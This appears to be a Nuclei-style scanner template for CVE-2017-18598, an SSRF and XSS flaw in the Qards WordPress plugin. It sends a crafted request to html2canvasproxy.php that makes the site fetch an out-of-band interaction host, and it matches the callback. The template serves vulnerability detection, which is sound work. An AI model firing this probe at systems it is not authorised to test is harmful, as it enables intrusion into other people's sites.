id: CVE-2017-18598

info:
  name: Qards Plugin - Stored XSS and SSRF
  author: pussycat0x
  severity: medium
  description: The Qards plugin through 2017-10-11 for WordPress has XSS via a remote document specified in the url parameter to html2canvasproxy.php
  reference:
    - https://wpscan.com/vulnerability/8934
    - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18598
    - https://wpvulndb.com/vulnerabilities/8934
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18598
    cwe-id: CWE-79
  tags: cve,cve2017,wordpress,ssrf,xss,wp-plugin,oast

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "console.log"